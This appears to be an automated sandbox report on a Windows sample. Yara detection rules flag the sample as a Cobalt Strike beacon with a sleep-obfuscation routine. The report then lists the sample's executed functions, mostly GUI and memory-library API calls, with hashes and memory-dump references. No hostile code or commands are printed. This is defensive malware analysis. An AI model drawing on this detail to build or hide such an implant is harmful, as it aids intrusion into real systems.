Yara matches:	Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.3315812932.00000000020A0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.9%
Total number of Nodes:	218
Total number of Limit Nodes:	31

Executed Functions

Function 00000001400757A8 Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 384
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140049910: GetWindowDC.USER32(?,?,?,?,?,0000000140075E90), ref: 000000014004994F

GetDeviceCaps.GDI32 ref: 0000000140075806
DeleteObject.GDI32 ref: 0000000140075873
DeleteObject.GDI32 ref: 0000000140075896
DeleteObject.GDI32 ref: 00000001400758B9
DeleteObject.GDI32 ref: 00000001400758DC
DeleteObject.GDI32 ref: 00000001400758FF
DeleteObject.GDI32 ref: 0000000140075923
DeleteObject.GDI32 ref: 0000000140075946
DeleteObject.GDI32 ref: 0000000140075969
DeleteObject.GDI32 ref: 000000014007598C
DeleteObject.GDI32 ref: 00000001400759B0
SystemParametersInfoW.USER32 ref: 00000001400759D6
GetTextCharsetInfo.GDI32 ref: 00000001400759F6
lstrcpyW.KERNEL32 ref: 0000000140075A53
EnumFontFamiliesW.GDI32 ref: 0000000140075A7D
lstrcpyW.KERNEL32 ref: 0000000140075A93
EnumFontFamiliesW.GDI32 ref: 0000000140075AB5
lstrcpyW.KERNEL32 ref: 0000000140075AD2
CreateFontIndirectW.GDI32 ref: 0000000140075ADD
CreateFontIndirectW.GDI32 ref: 0000000140075B28
SystemParametersInfoW.USER32 ref: 0000000140075B68
CreateFontIndirectW.GDI32 ref: 0000000140075B87
CreateFontIndirectW.GDI32 ref: 0000000140075BBA
CreateFontIndirectW.GDI32 ref: 0000000140075BE1
GetSystemMetrics.USER32 ref: 0000000140075C08
lstrcpyW.KERNEL32 ref: 0000000140075C20
CreateFontIndirectW.GDI32 ref: 0000000140075C2B
GetStockObject.GDI32 ref: 0000000140075C59
GetObjectW.GDI32 ref: 0000000140075C79
lstrcpyW.KERNEL32 ref: 0000000140075CBE
CreateFontIndirectW.GDI32 ref: 0000000140075CC9
CreateFontIndirectW.GDI32 ref: 0000000140075CE3
GetStockObject.GDI32 ref: 0000000140075CF9
GetObjectW.GDI32 ref: 0000000140075D15
CreateFontIndirectW.GDI32 ref: 0000000140075D25
CreateFontIndirectW.GDI32 ref: 0000000140075D48

Strings

Arial, xrefs: 0000000140075CB2
Tahoma, xrefs: 0000000140075AA0, 0000000140075AC2
MS Sans Serif, xrefs: 0000000140075ACB
Marlett, xrefs: 0000000140075C14
Segoe UI, xrefs: 0000000140075A68, 0000000140075A87

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$InfoSystem$EnumFamiliesParametersStock$CapsCharsetDeviceMetricsTextWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 1948770699-1395034203
Opcode ID: c56c575decf0d09262d632f7c37735480c17fdc26898bc6c9f0f7bc4366ace97
Instruction ID: 68dedb83c74c12985681789053b3080d52f262c267dbe6659b6e850852debccd
Opcode Fuzzy Hash: c56c575decf0d09262d632f7c37735480c17fdc26898bc6c9f0f7bc4366ace97
Instruction Fuzzy Hash: 1B02C036204B8196EB56EF22E4587DA77A1F78DB80F44412AEB4A477B4DFBCC949C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140075E0C Relevance: 63.3, APIs: 42, Instructions: 302
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColor.USER32 ref: 0000000140075E2D
GetSysColor.USER32 ref: 0000000140075E44
GetSysColor.USER32 ref: 0000000140075E5F
GetSysColor.USER32 ref: 0000000140075E6B
GetDeviceCaps.GDI32 ref: 0000000140075E9B
GetSysColor.USER32 ref: 0000000140075EA9
GetSysColor.USER32 ref: 0000000140075EBC
GetSysColor.USER32 ref: 0000000140075ECB
GetSysColor.USER32 ref: 0000000140075EDA
GetSysColor.USER32 ref: 0000000140075EE9
GetSysColor.USER32 ref: 0000000140075EF8
GetSysColor.USER32 ref: 0000000140075F07
GetSysColor.USER32 ref: 0000000140075F13
GetSysColor.USER32 ref: 0000000140075F1F
GetSysColor.USER32 ref: 0000000140075F2B
GetSysColor.USER32 ref: 0000000140075F37
GetSysColor.USER32 ref: 0000000140075F46
GetSysColor.USER32 ref: 0000000140075F52
GetSysColor.USER32 ref: 0000000140075F61
GetSysColor.USER32 ref: 0000000140075F70
GetSysColor.USER32 ref: 0000000140075F7F
GetSysColor.USER32 ref: 0000000140075F8E
GetSysColor.USER32 ref: 0000000140075F9D
GetSysColor.USER32 ref: 0000000140075FAC
GetSysColor.USER32 ref: 0000000140075FBB
GetSysColor.USER32 ref: 0000000140075FCA
GetSysColor.USER32 ref: 0000000140075FEF
GetSysColorBrush.USER32 ref: 0000000140076008
GetSysColorBrush.USER32 ref: 0000000140076022
GetSysColorBrush.USER32 ref: 000000014007603C
CreateSolidBrush.GDI32 ref: 0000000140076063
CreateSolidBrush.GDI32 ref: 0000000140076086
CreateSolidBrush.GDI32 ref: 00000001400760AC
CreateSolidBrush.GDI32 ref: 00000001400760D2
CreateSolidBrush.GDI32 ref: 00000001400760F5
CreateSolidBrush.GDI32 ref: 0000000140076118
CreateSolidBrush.GDI32 ref: 000000014007613B
CreatePen.GDI32 ref: 0000000140076166
CreatePen.GDI32 ref: 0000000140076191
CreatePen.GDI32 ref: 00000001400761BC
CreateSolidBrush.GDI32 ref: 000000014007623D
CreatePatternBrush.GDI32 ref: 000000014007628C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDevicePattern
String ID:
API String ID: 3066057030-0
Opcode ID: 55e63baadf1953b7b357c020304154dc6c912f1b5b46dea6436ebc6df18dbf04
Instruction ID: 25b3ba93feb23922009906762e9c7d5486f4d693ac2e51633c3e63fed6e34798
Opcode Fuzzy Hash: 55e63baadf1953b7b357c020304154dc6c912f1b5b46dea6436ebc6df18dbf04
Instruction Fuzzy Hash: E1E1373A60064097E74AAF32D9587DE77A2FB4DB91F044139AB4B476B1EF78D468CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400377CC Relevance: 15.1, APIs: 10, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400377EF
GlobalAlloc.KERNEL32 ref: 000000014003786C
GlobalHandle.KERNEL32 ref: 0000000140037874
GlobalUnlock.KERNEL32 ref: 0000000140037880
GlobalReAlloc.KERNEL32 ref: 00000001400378A6
GlobalLock.KERNEL32 ref: 00000001400378C6
LeaveCriticalSection.KERNEL32 ref: 0000000140037918
GlobalHandle.KERNEL32 ref: 0000000140037951
GlobalLock.KERNEL32 ref: 000000014003795A
LeaveCriticalSection.KERNEL32 ref: 0000000140037963

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: b9cc029e578b55f4e71bfb0e2601f201283755def9b7ca961f0f7ef1f16749c0
Instruction ID: 52120ccb9b4ab4cb6d756ac4511413edec13ee11dbb2109200b8ad32074023fa
Opcode Fuzzy Hash: b9cc029e578b55f4e71bfb0e2601f201283755def9b7ca961f0f7ef1f16749c0
Instruction Fuzzy Hash: 704181B574068487EE2ECF1691587AA63A2F78CB80F144525DBAE577A1DF78D451C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400375D4 Relevance: 10.5, APIs: 7, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00000001400375E6
GetSystemMetrics.USER32 ref: 00000001400375F4
GetSystemMetrics.USER32 ref: 0000000140037602
GetSystemMetrics.USER32 ref: 0000000140037615
GetDC.USER32 ref: 0000000140037625
GetDeviceCaps.GDI32 ref: 0000000140037636
GetDeviceCaps.GDI32 ref: 0000000140037647

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MetricsSystem$CapsDevice
String ID:
API String ID: 4163108049-0
Opcode ID: 78a9545ec0c6638fe582392515822ea47f35c0b82a01e3525930a47a7f0cc018
Instruction ID: ab783497ddf3bae56904748af8978ee9f3d3dba7f91fbe07d742f7c1491047e7
Opcode Fuzzy Hash: 78a9545ec0c6638fe582392515822ea47f35c0b82a01e3525930a47a7f0cc018
Instruction Fuzzy Hash: 47014476A0074097EB099F72E95C75A7662FB4CB61F048039CB4A8B7E0DFBD84958B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140144AB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014003B1F4: EnterCriticalSection.KERNEL32 ref: 000000014003B22C
Part of subcall function 000000014003B1F4: InitializeCriticalSection.KERNEL32 ref: 000000014003B24B
Part of subcall function 000000014003B1F4: LeaveCriticalSection.KERNEL32 ref: 000000014003B25F

GetProfileIntW.KERNEL32 ref: 0000000140144B24
GetProfileIntW.KERNEL32 ref: 0000000140144B44

Strings

DragDelay, xrefs: 0000000140144B36
windows, xrefs: 0000000140144B1D, 0000000140144B3D
DragMinDist, xrefs: 0000000140144B16

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$Profile$EnterInitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 2203521320-2101198082
Opcode ID: 4157cd7e166909cd92d70fd4e1914eaeaffffb8f63f7fc1f91c9f83ed929f74d
Instruction ID: 04705c67083e3ff8b3d64257ca15be663ad568148be5ec33844b7af3041e434b
Opcode Fuzzy Hash: 4157cd7e166909cd92d70fd4e1914eaeaffffb8f63f7fc1f91c9f83ed929f74d
Instruction Fuzzy Hash: 31114C72511B019FF7229F26E448B9937A5F31873AF420628CB68062F5DBBCC589CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140075108 Relevance: 6.0, APIs: 4, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VerSetConditionMask.KERNEL32 ref: 0000000140075163
VerSetConditionMask.KERNEL32 ref: 0000000140075174
VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
GetSystemMetrics.USER32 ref: 0000000140075198

Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075E2D
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075E44
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075E5F
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075E6B
Part of subcall function 0000000140075E0C: GetDeviceCaps.GDI32 ref: 0000000140075E9B
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075EA9
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075EBC
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075ECB
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075EDA
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075EE9
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075EF8
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F07
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F13
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F1F
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F2B
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F37
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F46
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F52
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F61
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F70
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F7F
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F8E
Part of subcall function 0000000140075E0C: GetSysColor.USER32 ref: 0000000140075F9D

Part of subcall function 00000001400757A8: GetDeviceCaps.GDI32 ref: 0000000140075806
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 0000000140075873
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 0000000140075896
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 00000001400758B9
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 00000001400758DC
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 00000001400758FF
Part of subcall function 00000001400757A8: DeleteObject.GDI32 ref: 0000000140075923

Part of subcall function 000000014007521C: GetSystemMetrics.USER32 ref: 000000014007523A
Part of subcall function 000000014007521C: GetSystemMetrics.USER32 ref: 000000014007524B
Part of subcall function 000000014007521C: SetRectEmpty.USER32 ref: 0000000140075261
Part of subcall function 000000014007521C: EnumDisplayMonitors.USER32 ref: 0000000140075275
Part of subcall function 000000014007521C: SystemParametersInfoW.USER32 ref: 000000014007528A
Part of subcall function 000000014007521C: SystemParametersInfoW.USER32 ref: 00000001400752C1
Part of subcall function 000000014007521C: SystemParametersInfoW.USER32 ref: 00000001400752D9
Part of subcall function 000000014007521C: SystemParametersInfoW.USER32 ref: 0000000140075304

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Color$System$DeleteObject$Info$Parameters$Metrics$CapsConditionDeviceMask$DisplayEmptyEnumMonitorsRectVerifyVersion
String ID:
API String ID: 1661573292-0
Opcode ID: a6258f1061695804a294fa076e17b982e36a98ca024d76928b001b8c9824c9c5
Instruction ID: 897f60ca80ca6558607a8615851971d28442fb53aade3046c9004bb5af628607
Opcode Fuzzy Hash: a6258f1061695804a294fa076e17b982e36a98ca024d76928b001b8c9824c9c5
Instruction Fuzzy Hash: EF115E3560468082FB26AF72E81D3DA7791E78CB89F440034DB4A4B7A5DFBDC1458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400762D4 Relevance: 3.1, APIs: 2, Instructions: 69
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140049910: GetWindowDC.USER32(?,?,?,?,?,0000000140075E90), ref: 000000014004994F

Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF0C
Part of subcall function 000000014004AEDC: SelectObject.GDI32 ref: 000000014004AF27

GetTextMetricsW.GDI32 ref: 0000000140076339
GetTextMetricsW.GDI32 ref: 000000014007637D

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MetricsObjectSelectText$ExceptionThrowWindow
String ID:
API String ID: 926127490-0
Opcode ID: e00aaebd14f2e999bcfcc72b2db4893e414e9740bb0caa8c9e6f81096da117de
Instruction ID: 00ed161b9ddd1ee363df6d59b6d6070b80523c0eaf78e8d6c2fedbb0c6e568c2
Opcode Fuzzy Hash: e00aaebd14f2e999bcfcc72b2db4893e414e9740bb0caa8c9e6f81096da117de
Instruction Fuzzy Hash: 9C312732701A80ABEB09DF6AD8943DD7370F788794F410126EB2A977A9DF34CA15C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400373A8 Relevance: 3.0, APIs: 2, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400375D4: GetSystemMetrics.USER32 ref: 00000001400375E6
Part of subcall function 00000001400375D4: GetSystemMetrics.USER32 ref: 00000001400375F4
Part of subcall function 00000001400375D4: GetSystemMetrics.USER32 ref: 0000000140037602
Part of subcall function 00000001400375D4: GetSystemMetrics.USER32 ref: 0000000140037615
Part of subcall function 00000001400375D4: GetDC.USER32 ref: 0000000140037625
Part of subcall function 00000001400375D4: GetDeviceCaps.GDI32 ref: 0000000140037636
Part of subcall function 00000001400375D4: GetDeviceCaps.GDI32 ref: 0000000140037647

Part of subcall function 0000000140037560: GetSysColor.USER32 ref: 000000014003756E
Part of subcall function 0000000140037560: GetSysColor.USER32 ref: 000000014003757C
Part of subcall function 0000000140037560: GetSysColor.USER32 ref: 000000014003758A
Part of subcall function 0000000140037560: GetSysColor.USER32 ref: 0000000140037598
Part of subcall function 0000000140037560: GetSysColor.USER32 ref: 00000001400375A6
Part of subcall function 0000000140037560: GetSysColorBrush.USER32 ref: 00000001400375B4
Part of subcall function 0000000140037560: GetSysColorBrush.USER32 ref: 00000001400375C3

LoadCursorW.USER32 ref: 00000001400373CA
LoadCursorW.USER32 ref: 00000001400373DB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Color$MetricsSystem$BrushCapsCursorDeviceLoad
String ID:
API String ID: 3232524254-0
Opcode ID: dafa7c0bc3d4399581d4628cf608d9d229f3049ac6f4cc6ac7259ffa0f0857d8
Instruction ID: febbf4cd23352729bd1d5e9ac2533448d5a92182838231a72feb886e90666ee3
Opcode Fuzzy Hash: dafa7c0bc3d4399581d4628cf608d9d229f3049ac6f4cc6ac7259ffa0f0857d8
Instruction Fuzzy Hash: 60F03072A00B0487E71A9F35E00A76E27A2F70CB08F100138DA494A3D9DFBDC4558380

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401ED10C Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00000001401F1406,?,?,?,00000001401D8731,?,?,?,?,00000001401ED2A2,?,?,00000000), ref: 00000001401ED161

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 662f149e2cc767e93f5299b8001a9bccfa184fc0b5ea85232da4f3914bc0e9eb
Instruction ID: d3488c8105fd979a18f19eb53cd6b0e1b69393b12be7f08a94183d0ea2284044
Opcode Fuzzy Hash: 662f149e2cc767e93f5299b8001a9bccfa184fc0b5ea85232da4f3914bc0e9eb
Instruction Fuzzy Hash: 33F09A7430220481FE6B67A399513EE22865F8DFA0F4C54304F0A863F2DE3CCC818290

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000000140004770 Relevance: 127.2, APIs: 41, Strings: 31, Instructions: 1171comthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000001400047FA
SetConsoleCtrlHandler.KERNEL32 ref: 0000000140004816
CoCreateInstance.OLE32 ref: 00000001400049AB
